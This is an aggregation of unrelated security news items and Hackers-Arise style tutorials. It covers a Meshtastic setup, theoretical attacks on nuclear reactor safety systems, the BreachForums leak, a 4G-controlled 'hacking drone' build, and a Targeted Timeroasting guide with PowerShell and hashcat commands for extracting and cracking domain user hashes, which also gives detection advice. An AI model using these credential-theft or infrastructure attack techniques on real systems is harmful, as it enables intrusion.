Unlike traditional attacks that rely on exploits, this succeeds through social engineering combined with abuse of Windows' own security architecture.
The post Hackers Disable Windows Security With New Malware Attack appeared first on TechRepublic.
Unlike traditional attacks that rely on exploits, this succeeds through social engineering combined with abuse of Windows' own security architecture.
The post Hackers Disable Windows Security With New Malware Attack appeared first on TechRepublic.
Welcome back, aspiring cyberwarriors!
Traditional methods of communication leave us vulnerable and reliant on systems controlled by companies and governments that have demonstrated they can’t be trusted with our data. Cell towers can be turned off, internet connections can be monitored, and messaging apps can be hacked or give your messages to the government without telling you. Meshtastic lets you build your own communication network that works completely on its own, without any central authority.
In this article, we will configure Meshtastic firmware on the Lilygo T-Echo device and connect it to the mesh network. Let’s get rolling!
The Lilygo T-Echo is a small device that has a Nordic nRF52840 chip, a Semtech SX1262 LoRa radio, and an e-paper screen. This configuration makes it great for mesh networking when you need long battery life and long-range communication. The device can talk to other Meshtastic nodes from several kilometers away in cities and possibly tens of kilometers away in open areas, all while using very little power. You can find a list of devices compatible with Meshtastic after the link. The installation process will be similar to that of the Lilygo T-Echo. But different countries use diverse frequency ranges, so this should be taken into account when purchasing a device.
Before your T-Echo or any other Meshtastic-compatible device can join a mesh network, you need to flash it with the Meshtastic firmware. The device ships with factory firmware that needs to be replaced with the Meshtastic software stack.
First, navigate to the official Meshtastic web flasher at flasher.meshtastic.org. You will see options for different device types and firmware versions.
Choose your device from the list and the firmware version. After that, connect your Lilygo T-Echo to your computer using a USB-C cable and click Flash.
You might need to trigger DFU mode. To do so, just click Button 1, as shown in the screenshot below.
First, download the UF2 file and copy it to the DFU drive. Once the transfer is complete, the device will automatically reboot and start with the new firmware.
Next, hold down button 2 to select your region and generate a random node name.
To interact with your T-Echo from your smartphone, you need to install the official Meshtastic application. This app serves as your primary interface for sending messages, viewing the mesh network, and configuring your device settings.
On Android devices, open the Google Play Store or F-Droid and search for “Meshtastic.” The official application is published by Meshtastic LLC and should appear at the top of your search results.
The app requires several permissions, including Bluetooth access and location services, which are necessary for communicating with your T-Echo and displaying your position on the mesh if you choose to share location data.
Once the installation completes, open the Meshtastic app. You will be greeted with a welcome screen like the one below.
Now comes the important step of connecting your phone to your T-Echo device. This pairing process creates a secure Bluetooth link that lets your phone set up the device and send messages through it.
In the Meshtastic mobile app, look for a Scan button. The app will begin scanning for nearby Meshtastic devices that are broadcasting their availability over Bluetooth.
Tap on your T-Echo’s name in the device list to initiate the pairing process. The app will attempt to establish a connection with the device. During this process, the app may require you to enter a PIN code displayed on your T-Echo’s screen, though this security feature is not always enabled by default.
Once the pairing completes successfully, the app interface will change to show that you are connected to your device. You should see your node name at the top of the screen, along with battery level, signal strength, and other status information.
At this point, your phone can communicate with your T-Echo, but you are not yet part of a mesh network unless there are other Meshtastic nodes within radio range. The connection you have established is purely between your phone and your device over Bluetooth. The mesh networking happens over the LoRa radio, which operates independently of the Bluetooth connection.
Open the Meshtastic app and go to the settings menu, indicated by a gear icon. In the settings, you will find several categories, including Device, Radio Configuration, Module Configuration, and more.
Start with the User settings. Here you can change your node’s name from the randomly generated default to something more meaningful. Tap on the Long Name field and enter a name that identifies you or your device. This name will be visible to other users on the mesh, so choose something appropriate. You can use up to 40 characters, though shorter names are generally better for display purposes. Below the long name, you will see a Short Name field limited to four characters.
In the Radio Configuration section, you will find settings that control how your T-Echo communicates over the LoRa radio. The most important setting here is the Region, which must be set correctly for your geographic location to comply with local radio regulations. For users in North America, select US. European users should select their specific country or the general EU_868 or EU_433 option depending on the frequency band they are using.
The Modem Preset determines the balance between range, speed, and reliability for your radio communications. The default setting is typically Long Fast, which provides a good compromise for most users. This preset utilizes a spreading factor of 11, which provides the best range while maintaining reasonable data rates for text messaging.
The Number of Hops setting controls how many times a message can be retransmitted through the mesh before it is dropped. The default value of 3 is suitable for most networks, enabling messages to travel through multiple nodes to reach distant recipients without generating excessive radio traffic. Besides that, you will find options for enabling various Meshtastic features, like MQTT, GPS, and Telemetry. We’ll explore these topics in future articles.
Important Note: By default, all nodes use a common encryption key, which means anyone with a Meshtastic device can read your messages. You can create private channels, but this goes out of the scope of this article.
In the Meshtastic app, navigate to the Messages tab or screen. You will see a list of available channels. The LongFast channel is created by default and is where most mesh communication happens. Tap on this channel to open the message interface.
At the bottom of the screen, you will find a text input field where you can write your message. Please remember that Meshtastic is meant for short text messages, with a limit of 200 characters. Tap the send button to transmit your message.
Your T-Echo will receive the message from your phone over Bluetooth and then broadcast it over the LoRa radio. If there are other Meshtastic nodes within range, they will receive your message and display it to their users. If your message needs to reach a node that is not in direct radio range, intermediate nodes will automatically relay it through the mesh until it reaches its destination or the hop limit is exceeded.
You will see your message appear in the conversation thread with a timestamp. If other nodes are present on the mesh, you may see responses or other messages from those users. In my case, we can see somebody leave an emoji on my message. Besides that, T-Echo notifies you on its screen when you receive a new message, and you can switch to the Message tab by clicking Button 2.
In a world where our communications are constantly monitored, logged, and sold to the highest bidder, Meshtastic running on affordable hardware like the Lilygo T-Echo offers a way to communicate independently. This technology puts the power back in your hands, letting you create mesh networks that work completely outside the control of telecom companies and government surveillance. Whether you’re coordinating security in areas without cell coverage, preparing backup communications for when regular systems fail, or simply want to talk to your team without companies reading every word, Meshtastic gives you the tools you need.
Keep coming back, aspiring off-grid users! We’re diving deeper into this topic, so stay tuned for more updates.
Welcome back, aspiring cyberwarriors.
Imagine the following scene. Evening. You are casually scrolling through eBay. Among the usual clutter of obsolete electronics and forgotten hardware, something unusual appears. It’s heavy industrial modules, clearly not meant for hobbyists. On the circuit boards you recognize familiar names: Siemens. AREVA. The listing description is brief, technical, and written by someone who knows what they are selling. The price, however, is unexpectedly low.
What you are looking at are components of the Teleperm XS system. This is a digital control platform used in nuclear power plants. Right now, this class of equipment is part of the safety backbone of reactors operating around the world. One independent security researcher, Rubén Santamarta, noticed the same thing and decided to investigate. His work over two decades has covered everything from satellite communications to industrial control systems, and this discovery raised a question: what happens if someone gains access to the digital “brain” of a nuclear reactor? From that question emerged a modeled scenario sometimes referred to as “Cyber Three Mile Island,” which is a theoretical chain of events that, under ideal attacker conditions, leads to reactor core damage in under an hour.
We will walk through that scenario to help you understand these systems.
To understand how a nuclear reactor could be attacked digitally, we first need to understand how it operates physically. There is no need to dive into advanced nuclear physics. A few core concepts and some practical analogies will take us far enough.
At its heart, a pressurized water reactor (PWR) is an extremely sophisticated and very expensive boiler. In simplified form, it consists of three interconnected loops.
The first loop is the reactor itself. Inside a thick steel vessel sit fuel assemblies made of uranium dioxide pellets. This is where nuclear fission occurs, releasing enormous amounts of heat. Water circulates through this core, heating up to around 330°C. To prevent boiling, it is kept under immense pressure (about 155 atmospheres). This water becomes radioactive and never leaves the sealed primary circuit.
The second loop exists to convert that heat into useful work. The hot water from the primary loop passes through a steam generator, a massive heat exchanger. Without mixing, it transfers heat to a separate body of water, turning it into steam. This steam is not radioactive. It flows to turbines, spins them, drives generators, and produces electricity.
Finally, the third loop handles cooling. After passing through the turbines, the steam must be condensed back into water. This is done using water drawn from rivers, lakes, or the sea, often via cooling towers. This loop never comes into contact with radioactive materials.
With this structure in mind, we can now discuss what separates a reactor from a nuclear bomb. It’s control.
If a car accelerates when you press the gas pedal, a reactor accelerates when more neutrons are available. This is expressed through the multiplication factor, k. When k is greater than 1, power increases. When it is less than 1, the reaction slows. When k equals exactly 1, the reactor is stable, producing constant power.
Most neutrons from fission are released instantly, far too fast for any mechanical or digital system to respond. Fortunately, about 0.7% are delayed, appearing seconds or minutes later. That tiny fraction makes controlled nuclear power possible.
There is also a built-in safety mechanism rooted in physics itself. It’s called the Doppler effect. As fuel heats up, uranium-238 absorbs more neutrons, naturally slowing the reaction. This cannot be disabled by software or configuration. It is the reactor’s ultimate brake, supported by multiple engineered systems layered on top.
Reactor safety follows a defense-in-depth philosophy, much like a medieval fortress. The fuel pellet itself retains many fission products. Fuel rod cladding adds another barrier. The reactor vessel is the next wall, followed by the reinforced concrete containment structure, often over a meter thick and designed to withstand extreme impacts. Finally, there are active safety systems and trained operators. The design prevents a single failure from leading to a catastrophe. For a disaster to occur, multiple independent layers must fail in sequence.
From a cybersecurity perspective, attention naturally turns to safety systems and operator interfaces. Sensors feed data into controllers, controllers apply voting logic, and actuators carry out physical actions. When parameters drift out of range, the system shuts the reactor down and initiates cooling. Human operators then follow procedures to stabilize the plant. It is an architecture designed to fail safely. That is precisely why understanding its digital foundations matters.
The Teleperm XS (TXS) platform, developed by Framatome, is a modular digital safety system used in many reactors worldwide. Its architecture is divided into functional units. Acquisition and Processing Units (APUs) collect sensor data, like temperature, pressure, neutron flux. Actuation Logic Units (ALUs) receive this data from multiple channels and decide when to trigger actions such as inserting control rods or starting emergency pumps.
The Monitoring and Service Interface (MSI) bridges two worlds. On one side is the isolated safety network using Profibus. On the other is a conventional local area network used by engineers.
The Service Unit (SU) is a standard computer running SUSE Linux. It is used for diagnostics, configuration, testing, and firmware updates. Critically, it is the only system allowed to communicate bidirectionally with the safety network through the MSI. TXS uses custom processors like the SVE2 and communication modules such as the SCP3, but it also relies on commercial components, such as Hirschmann switches, single-board computers, and standard Ethernet.
This hybrid design improves maintainability and longevity, but it also expands the potential attack surface. Widely used components are well documented, available, and easier to study outside a plant environment.
Any attacker would be happy to compromise the Service Unit, since it provides access to the APU and ALU controllers, which directly control the physical processes in the reactor. However, on the way to this goal, you still have to overcome several barriers.
Ruben unpacked the SVE2 and SCP3 modules, connected the programmer, and got ready to dump the firmware for reverse engineering, but a surprise was waiting for him. Unfortunately (or fortunately for the rest of the world), the devices’ memory was completely empty.
After studying the documentation, it became clear that the software is loaded into the controllers at the factory immediately before acceptance testing. The modules from eBay were apparently surplus stock and had never been programmed.
It turned out that TXS uses a simple CRC32 checksum to verify the integrity and authenticity of firmware. The problem is that CRC32 is NOT a cryptographic protection mechanism. It is merely a way to detect accidental data errors, similar to a parity check. An attacker can take a standard firmware image, inject malicious code into it, and then adjust a few bytes in the file so that the CRC32 value remains unchanged. The system will accept such firmware as authentic.
It reveals an architectural vulnerability embedded in the very design of the system. To understand it, we need to talk about the most painful issue in any security system: trust.
The MSI is configured to accept commands only from a single MAC address. It’s the address of the legitimate SU. Any other computer on the same network is simply ignored. However, for an experienced hacker, spoofing (MAC address impersonation) poses no real difficulty. Such a barrier will stop only the laziest and least competent. For a serious hacking group, it is not even a speed bump, it is merely road markings on the asphalt. But there is one more obstacle called a physical key.
U.S. regulatory guidance rightly insists that switching safety systems into programming mode requires physical action. A real key, a real human and a real interruption. An engineer must approach the equipment cabinet, insert a physical key, and turn it. That turn must physically break the electrical circuit, creating an air gap between the ALU and the rest of the world. Turning the key in a Teleperm XS cabinet does not directly change the system’s operating mode. It only sets a single bit (a logical one) on the discrete input board. In the system logic, this bit is called “permissive.” It signals to the processor: “Attention, the Service Unit is about to communicate with you, and it can be trusted.”
The actual command to change the mode (switching to “Test” or “Diagnostics”) arrives later over the network, from that same SU. The ALU/APU processor logic performs a simple check: “A mode-change command has arrived. Check the permissive bit. Is it set? Okay, execute.”
As a result, if malware has already been implanted in the ALU or APU, it can completely ignore this bit check. For it, the signal from the key does not exist. And if the malware resides on the SU, it only needs to wait until an engineer turns the key for routine work (such as sensor calibration) and use that moment to do its dirty work.
The lock becomes a trigger.
Part 1 establishes the foundation by explaining how nuclear power plants operate, how safety is enforced through layered engineering and physical principles, and also how digital control systems support these protections. By looking at reactor control logic, trust assumptions in safety architectures, and the realities of legacy industrial design, it becomes clear that cybersecurity risk comes not from a single vulnerability, but from the interaction of multiple small decisions over time. These elements on their own do not cause failure, but they shape an environment in which trust can be misused.
In Part 2, we shift our focus from structure to behavior. We will actively model a realistic cyber-physical attack and simulate how it unfolds in practice, tracing the entire sequence from an initial digital compromise.
Atlanta, GA, United States, 20th January 2026, CyberNewsWire
Airlock Digital Announces Independent TEI Study Quantifying Measurable ROI & Security Impact on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Alisa Viejo, United States, 20th January 2026, CyberNewsWire
One Identity Unveils Major Upgrade to Identity Manager, Strengthening Enterprise Identity Security on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Nicholas Moore, a 24-year-old Tennessee man, pleaded guilty to using stolen credentials of authorized users to hack into computer systems of the Supreme Court, VA, and AmeriCorps, obtaining sensitive information and then posting it online to his Instagram account.
The post Hacker Pleads Guilty to Access Supreme Court, AmeriCorps, VA Systems appeared first on Security Boulevard.
The New York Times has published new details about a purported cyberattack that unnamed US officials claim plunged parts of Venezuela into darkness in the lead-up to the capture of the country’s president, Nicolás Maduro.
Key among the new details is that the cyber operation was able to turn off electricity for most residents in the capital city of Caracas for only a few minutes, though in some neighborhoods close to the military base where Maduro was seized, the outage lasted for three days. The cyber-op also targeted Venezuelan military radar defenses. The paper said the US Cyber Command was involved.
“Turning off the power in Caracas and interfering with radar allowed US military helicopters to move into the country undetected on their mission to capture Nicolás Maduro, the Venezuelan president who has now been brought to the United States to face drug charges,” the NYT reported.
© Getty Images
McLean, Virginia, United States, 15th January 2026, CyberNewsWire
AppGuard Critiques AI Hyped Defenses; Expands its Insider Release for its Next-Generation Platform on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
New York, NY, 14th January 2026, CyberNewsWire
2026 Study from Panorays: 85% of CISOs Can’t See Third-Party Threats Amid Increasing Supply Chain Attacks on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Austin, TX / USA, 14th January 2026, CyberNewsWire
SpyCloud Launches Supply Chain Solution to Combat Rising Third-Party Identity Threats on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
BreachForums, one of the most well-known English-language cybercrime forums, has reportedly suffered a data breach, exposing user information after the site was taken offline once again.
As reported by The Register, a database linked to the forum was leaked online, potentially revealing account details, private messages and metadata on close to 325,000 accounts. However, security researchers caution that while the leak may attract attention, its intelligence value and authenticity remain uncertain.
Michael Tigges, Senior Security Operations Analyst at Huntress, said the dataset should be treated with caution.
“This data leak, while potentially useful for authorities and security professionals researching adversarial activities, is ultimately of limited forensics use,” he said.
“While the database leak may be legitimate, the integrity is called into question as it was derived from another cybercrime group, ShinyHunters.”
He added that such leaks are sometimes used to infer links between threat actors, but warned that datasets may be incomplete, selectively modified, or deliberately misleading.
“The reliability of the information must be highly scrutinised, as it may not be legitimate data or could be altered to disguise or prevent disclosure of information,” Tigges said.
The breach is likely to further undermine confidence in BreachForums among cybercriminals, following a series of takedowns and reappearances over recent years.
Gavin Knapp, Cyber Threat Intelligence Principal Lead at Bridewell, said the platform’s turbulent history has already damaged its credibility.
“Criminals are likely questioning its credibility and losing trust in it, and it’s often referred to as a potential honeypot for law enforcement,” Knapp said.
Knapp noted that the real-world impact of the leak depends largely on the operational security (OPSEC) practices of individual users.
“The data leak is obviously a problem for legitimate accounts used for crime, as opposed to sock-puppet accounts used by researchers or law enforcement,” he said.
“However, the impact depends on whether users exposed information that could be linked back to a real-world identity, such as unique email addresses or reused passwords.”
He added that the same risks apply to investigators and researchers who may also face exposure if poor OPSEC was used, and that it remains unclear how current or complete the leaked data is.
Despite the publicity surrounding the breach, reaction within cybercrime communities appears muted.
Michele Campobasso, Senior Security Researcher at Forescout, said responses across underground forums have been limited or dismissive.
“On one of the XSS forum forks following the takedown, some users responded with sarcasm,” he said.
“In other underground forums and communities where we have access, we found no reaction on the topic.”
This lack of engagement may reflect growing scepticism among threat actors toward long-running forums, many of which are viewed as compromised or unreliable.
The breach has also prompted speculation around the involvement of the ShinyHunters extortion group, although responsibility remains disputed.
Campobasso said that while there is no conclusive evidence linking ShinyHunters to the leak, the claim is not implausible given recurring references to a figure known as “James” across multiple iterations of the shinyhunte[.]rs website.
Cached versions of the site show repeated mentions of “James”, including defacement messages, accusations from other group members, and a manifesto attributed to the same pseudonym. Linguistic patterns in the text suggest possible French influence, although Campobasso cautioned against drawing firm conclusions.
“It is possible that either the data leak was performed by James, or that someone is attempting to frame them in order to disrupt their reputation within the cybercriminal ecosystem,” he said.
Ultimately, the BreachForums incident highlights a recurring issue within cybercrime communities: instability, internal conflict and declining trust.
For defenders, the breach reminds them that leaked criminal datasets should be treated carefully, validated rigorously and never assumed to be complete or accurate, even when they appear to offer rare insight into adversary activity.
The post BreachForums Data Leak Raises Fresh Questions Over Credibility appeared first on IT Security Guru.
Welcome back, aspiring cyberwarriors!
We are really glad to see you back for the second part of this series. In the first article, we explored some of the cheapest and most accessible ways to build your own hacking drone. We looked at practical deployment problems, discussed how difficult stable control can be, and even built small helper scripts to make your life easier. That was your first step into this subject where drones become independent cyber platforms instead of just flying gadgets.
We came to the conclusion that the best way to manage our drone would be via 4G. Currently, in 2026, Russia is adapting a new strategy in which it is switching to 4G to control drones. An example of this is the family of Shahed drones. These drones are generally built as long-range, loitering attack platforms that use pre-programmed navigation systems, and initially they relied only on satellite guidance to reach their targets rather than on a constant 4G data link. However, in some reported variants, cellular connectivity was used to support telemetry and control-related functionality.
In recent years, Russia has been observed modifying these drones to carry different types of payloads and weapons, including missiles and MANPADS (Man-Portable Air-Defense System) mounted onto the airframe. The same principle applies here as with other drones. Once you are no longer restricted to a short-range Wi-Fi control link and move to longer-range communication options, your main limitation becomes power. In other words, the energy source ultimately defines how long the aircraft can stay in the air.
Today, we will go further. In this part, we are going to remove the smartphone from the back of the drone to reduce weight. The free space will instead be used for chipsets and antennas.
In the previous part, you may have asked yourself why an attacker would try to remotely connect to a drone through its obvious control interfaces, such as Wi-Fi. Why not simply connect directly to the flight controller and bypass the standard communication layers altogether? In the world of consumer-ready drones, you will quickly meet the same obstacle over and over again. These drones usually run closed proprietary control protocols. Before you can talk to them directly, you first need to reverse engineer how everything works, which is neither simple nor fast.
However, there is another world of open-source drone-control platforms. These include projects such as Betaflight, iNav, and Ardupilot. The simplest of these, Betaflight, supports direct control-motor command transmission over UART. If you have ever worked with microcontrollers, UART will feel familiar. The beauty here is that once a drone listens over UART, it can be controlled by almost any small Linux single-board computer. All you need to do is connect a 4G module and configure a VPN, and suddenly you have a controllable airborne hacking robot that is reachable from anywhere with mobile coverage. Working with open systems really is a pleasure because nothing is truly hidden.
So, what does the hacker need? The first requirement is a tiny and lightweight single-board computer, paired with a compact 4G modem. A very convenient combination is the NanoPi Neo Air together with the Sim7600G module. Both are extremely small and almost the same size, which makes mounting easier.
The NanoPi communicates with the 4G modem over UART. It actually has three UART interfaces. One UART can be used exclusively for Internet connectivity, and another one can be used for controlling the drone flight controller. The pin layout looks complicated at first, but once you understand which UART maps to which pins, the wiring becomes straightforward.
After some careful soldering, the finished 4G control module will look like this:
Even very simple flight controllers usually support at least two UART ports. One of these is normally already connected to the drone’s traditional radio receiver, while the second one remains available. This second UART can be connected to the NanoPi. The wiring process is exactly the same as adding a normal RC receiver.
The advantage of this approach is flexibility. You can seamlessly switch between control modes through software settings rather than physically rewiring connectors. You attach the NanoPi and Sim7600G, connect the cable, configure the protocol, and the drone now supports 4G-based remote control.
Depending on your drone’s layout, the board can be mounted under the frame, inside the body, or even inside 3D-printed brackets. Once the hardware is complete, it is time to move into software. The NanoPi is convenient because, when powered, it exposes a USB-based console. You do not even need a monitor. Just run a terminal such as:
nanoPi > minicom -D /dev/ttyACM0 -b 9600
Then disable services that you do not need:
nanoPi > systemctl disable wpa_supplicant.service
nanoPi > systemctl disable NetworkManager.service
Enable the correct UART interfaces with:
nanoPi > armbian-config
From the System menu you go to Hardware and enable UART1 and UART2, then reboot.
Next, install your toolkit:
nanoPi > apt install minicom openvpn python3-pip cvlc
Minicom is useful for quickly checking UART traffic. For example, check modem communication like this:
Loginminicom -D /dev/ttyS1 -b 115200
ATIf all is well, then you need to config files for the modem. The first one goes to /etc/ppp/peers/telecom. Replace “telecom” with the name of the cellular provider you are going to use to establish 4G connection.
And the second one goes to /etc/chatscripts/gprs
To activate 4G connectivity, you can run:
nanoPi > pon telecom
Once you confirm connectivity using ping, you should enable automatic startup using the interfaces file. Open /etc/network/interfaces and add these lines:
auto telecom
iface telecom inet ppp
provider telecomNow comes the logical connectivity layer. To ensure you can always reach the drone securely, connect it to a central VPN server:
nanoPi > cp your_vds.ovpn /etc/openvpn/client/vds.conf
nanoPi > systemctl enable openvpn-client@vds
This allows your drone to “phone home” every time it powers on.
Next, you must control the drone motors. Flight controllers speak many logical control languages, but with UART the easiest option is the MSP protocol. We install a Python library for working with it:
NanoPi > cd /opt/; git clone https://github.com/alduxvm/pyMultiWii
NanoPi > pip3 install pyserial
The protocol is quite simple, and the library itself only requires knowing the port number. The NanoPi is connected to the drone’s flight controller via UART2, which corresponds to the ttyS2 port. Once you have the port, you can start sending values for the main channels: roll, propeller RPM/throttle, and so on, as well as auxiliary channels:
Find the script on our GitHub and place the it in ~/src/ named as control.py
The NanoPi uses UART2 for drone communication, which maps to ttyS2. You send MSP commands containing throttle, pitch, roll, yaw, and auxiliary values. An important detail is that the flight controller expects constant updates. Even if the drone is idle on the ground, neutral values must continue to be transmitted. If this stops, the controller assumes communication loss. The flight controller must also be told that MSP data is coming through UART2. In Betaflight Configurator you assign UART2 to MSP mode.
We are switching the active UART for the receiver (the NanoPi is connected to UART2 on the flight controller, while the stock receiver is connected to UART1). Next we go to Connection and select MSP as the control protocol.
If configured properly, you now have a drone that you can control over unlimited distance as long as mobile coverage exists and your battery holds out. For video streaming, connect a DVP camera to the NanoPi and stream using VLC like this:
cvlc v4l2:///dev/video0:chroma=h264:width=800:height= \
--sout '#transcode{vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' -vvv
The live feed becomes available at:
http://drone:8080/Here “drone” is the VPN IP address of the NanoPi.
To make piloting practical, you still need a control interface. One method is to use a real transmitter such as EdgeTX acting as a HID device. Another approach is to create a small JavaScript web app that reads keyboard or touchscreen input and sends commands via WebSockets. If you prefer Ardupilot, there are even ready-made control stacks.
By now, your drone is more than a toy. It is a remotely accessible cyber platform operating anywhere there is mobile coverage.
Previously we discussed how buildings and range limitations affect RF-based drone control. With mobile-controlled drones, cellular towers actually become allies instead of obstacles. However, drones can face anti-drone jammers. Most jammers block the 2.4 GHz band, because many consumer drones use this range. Higher end jammers also attack 800-900 MHz and 2.4 GHz used by RC systems like TBS, ELRS, and FRSKY. The most common method though is GPS jamming and spoofing. Spoofing lets an attacker broadcast fake satellite signals so the drone believes false coordinates. Since drone communication links are normally encrypted, GPS becomes the weak point. That means a cautious attacker may prefer to disable GPS completely. Luckily, on many open systems such as Betaflight drones or FPV cinewhoops, GPS is optional. Indoor drones usually do not use GPS anyway.
As for mobile-controlled drones, jamming becomes significantly more difficult. To cut the drone off completely, the defender must jam all relevant 4G, 3G, and 2G bands across multiple frequencies. If 4G is jammed, the modem falls back to 3G. If 3G goes down, it falls back to 2G. This layering makes mobile-controlled drones surprisingly resilient. Of course, extremely powerful directional RF weapons exist that wipe out all local radio communication when aimed precisely. But these tools are expensive and require high accuracy.
We transformed the drone into a fully independent device capable of long-range remote operation via mobile networks. The smartphone was replaced with a NanoPi Neo Air and a Sim7600G 4G modem, routed UART communication directly into the flight controller, and configured MSP-based command delivery. We also explored VPN connectivity, video streaming, and modern control interfaces ranging from RC transmitters to browser-based tools. Open-source flight controllers give us incredible flexibility.
In Part 3, we will build the attacking part and carry out our first wireless attack.
If you like the work we’re doing here and want to take your skills even further, we also offer a full SDR for Hackers Career Path. It’s a structured training program designed to guide you from the fundamentals of Software-Defined Radio all the way to advanced, real-world applications in cybersecurity and signals intelligence.
Welcome back, aspiring cyberwarriors!
We continue our PowerShell for Hackers series with another article that shows how PowerShell can be used during real pentests and purple team engagements. Today we are going to explore an attack called Timeroasting. However, instead of focusing only on computers, we will look at how a modified script can be used to abuse user accounts as well. The final result of this technique is a user hash that is already formatted to be cracked with hashcat.
Before we go any deeper, there is something important to clarify. This attack relies on modifying properties of user accounts inside Active Directory. That means you must already have domain administrator privileges. Normally, when an attacker compromises a domain admin account, the game is over for the organization. That account gives unrestricted control over the domain. But even with that level of privilege, there are still times when you may want credentials for a specific domain user, and you do not want to trigger obvious high-risk actions.
Defenders can monitor techniques such as dumping NTDS, extracting LSASS memory, or performing DCSync. There are situations where those methods are either blocked, monitored, or simply not ideal. The script we are discussing today exists exactly for such cases. It helps retrieve hashes in a way that may blend more quietly into normal domain behavior.
You may be wondering what Timeroasting actually is. Timeroasting is a technique originally designed to obtain hashes from domain computers rather than users. It abuses a weakness in how certain computer and trust accounts store passwords in Active Directory. These machine passwords are then used to compute MS-SNTP authentication material, which attackers can collect and later attempt to crack offline. Normally, computer accounts in a domain have very long, randomly generated passwords. Because of that complexity, cracking them is usually impractical. However, this was not always the case. Older systems, including so-called “Pre-Windows 2000 Computers,” sometimes stored weak or predictable passwords. These legacy systems are what made Timeroasting especially interesting.
The attack was originally discovered and documented by Tom Tervoort from Secura. He showed how weak computer or trust account passwords in Active Directory could be exploited. For example, if a computer account had enough rights to perform DCSync, and its password was weak enough, you might even use the computer name itself as the password during attacks such as DCSync. The problem is that for modern systems, machine passwords are long and complex. Running those hashes through even powerful wordlists can take a very long time and still fail. That is why the use of the original Timeroasting attack was quite limited.
This limitation was addressed by Giulio Pierantoni, who took the original idea and upgraded it. He demonstrated that domain user accounts could also be abused in a similar way, which significantly changes the value and use-cases of this attack.
Giulio Pierantoni called this technique “Targeted Timeroasting,” similar in spirit to Targeted Kerberoasting and AS-REP Roasting. Since domain administrators can modify attributes of user accounts, you can temporarily convert a user account into something that looks like a domain machine account, you can convince the domain controller to treat it as such and return a hash for it. In other words, the domain controller believes the account is a computer, and therefore exposes authentication material normally associated with machine accounts, except now it belongs to a human user.
Every Active Directory user object has a field called sAMAccountType. This field defines what kind of account it is. Under normal circumstances, regular users and machine accounts have different values. For example, a normal user account belongs to the SAM_NORMAL_USER_ACCOUNT category, while a machine account belongs to SAM_MACHINE_ACCOUNT.
Although you cannot directly modify this field, there is another attribute called userAccountControl. This is a set of flags that determines the characteristics of the account. Some of these flags correspond to workstations, servers, or domain controllers. When the userAccountControl value is changed to the flag representing a workstation trust account, the sAMAccountType attribute is automatically updated. The domain controller then believes it is dealing with a machine account.
Under normal security rules, you are not supposed to be able to convert one type of account into another. However, domain administrators are exempt from this limitation. That is exactly what makes Targeted Timeroasting possible. This technique cannot be executed by unprivileged users and is therefore different from things like Targeted Kerberoasting, AS-REP roasting, shadow credentials, or ESC14.
Before the hash is computed, the domain controller also checks that the sAMAccountName ends with a dollar sign. For domain administrators, changing this is trivial unless another account with the same name already exists. Once the userAccountControl and sAMAccountName values have been modified, the controller is willing to hand out the MS-SNTP hash for the account to anyone who asks appropriately.
There is one important operational warning shared by Giulio Pierantoni. When a user account is converted into a workstation trust account, that user will lose the ability to log into workstations. However, this does not affect existing active sessions. If you immediately revert the attributes after extracting the hash, the user will likely never notice anything happening.
A rough proof-of-concept script was created by modifying Jacopo Scannella’s original PowerShell Timeroasting script. The script is now available on GitHub.
To use it, you need to be a domain administrator running from a domain-joined system that already has the Active Directory PowerShell module installed.
The script works in several logical steps. It first retrieves important attributes such as the objectSid and userAccountControl values for the target account. Then it changes the userAccountControl attribute so that the account is treated as a workstation trust account. After that, it appends a dollar sign to the sAMAccountName, making the user look like a machine account. Once the attributes are updated, the script extracts the RID, sends a client MS-SNTP request to the domain controller, and retrieves the resulting hash from the response. Finally, it restores all the original values so that nothing appears out of the ordinary.
When observed in packet captures, the whole exchange looks like a simple NTP transaction. There is a request containing the RID and a response containing a signature generated from the NT hash of the account. The salt is also drawn from the NTP response packet.
The author of the modified script provided two usage modes. One mode allows you to target specific users individually. Another mode allows you to abuse every user in a supplied list.
To target a specific user, you would normally run:
PS > .\TargetedTimeroast.ps1 -domainController IP -v -victim USERNAME
If you want to target multiple users at once, you prepare a list and run:
PS > .\TargetedTimeroast.ps1 -v -file .\users.txt -domainController IP
Once you have collected the hashes you want, you can move to your Kali machine and begin cracking them with hashcat. It is recommended that you remove the RIDs from each hash to avoid issues during cracking. Your command will look like this:
bash$ > sudo hashcat -a 0 -m 31300 hashes.txt dictionary.txt
If the password is weak or reused, you may recover it relatively quickly.
Defenders should find this section important. Even though this attack requires domain administrator privileges, it should still be monitored, because insider threats or compromised admins do exist. There are several key behaviors that may indicate that Timeroasting or Targeted Timeroasting is taking place. One example is when a single host sends many MS-SNTP client requests, but those requests include different RIDs. Another example is when the RIDs in those requests belong to user accounts instead of normal computer accounts. You may also observe that the userAccountControl value of one or more user accounts changes from a normal user value to a workstation trust account value and then back again soon afterward. In addition, the sAMAccountName of a user account may briefly have a dollar sign added to the end.
These behaviors are unusual in normal environments. If they are monitored properly, attackers will have far fewer opportunities to exploit this weakness. Unfortunately, such monitoring is quite rare in many organizations.
This is a new creative application of a long-known attack concept. It is very likely that this technique will be adopted by a wide range of attackers, from red teamers to malicious actors. We should also remember the risk of insider threats, because a domain administrator could easily perform this technique without escalating privileges any further. The process is surprisingly straightforward when the correct level of access already exists.
Users should therefore aim to use strong, complex passwords inside corporate domains, not just meeting but exceeding the minimum policy requirements. It is also wise never to reuse passwords or even reuse the same style of password across different systems. Wherever possible, two-factor authentication should be enabled. Good architecture and strong monitoring will make techniques like Targeted Timeroasting far less attractive and much easier to detect.
In our continuing effort to offer you the very best in cybersecurity training, Hackers-Arise is proud to preset PowerShell for Hackers training. It is included with the Subscriber and Subscriber Pro packages. March 10-12.
I was off at the Chaos Communication Congress last weekend, and one of the big attractions for one who is nerdily inclined is seeing all of the personal projects that everyone brings along with them. Inevitably, someone would ask me what my favorite is. Maybe it’s my decision paralysis, maybe it’s being forced to pick a favorite child on the spot, or maybe it’s just that I’m not walking around ranking them, but that question always left me drawing a blank.
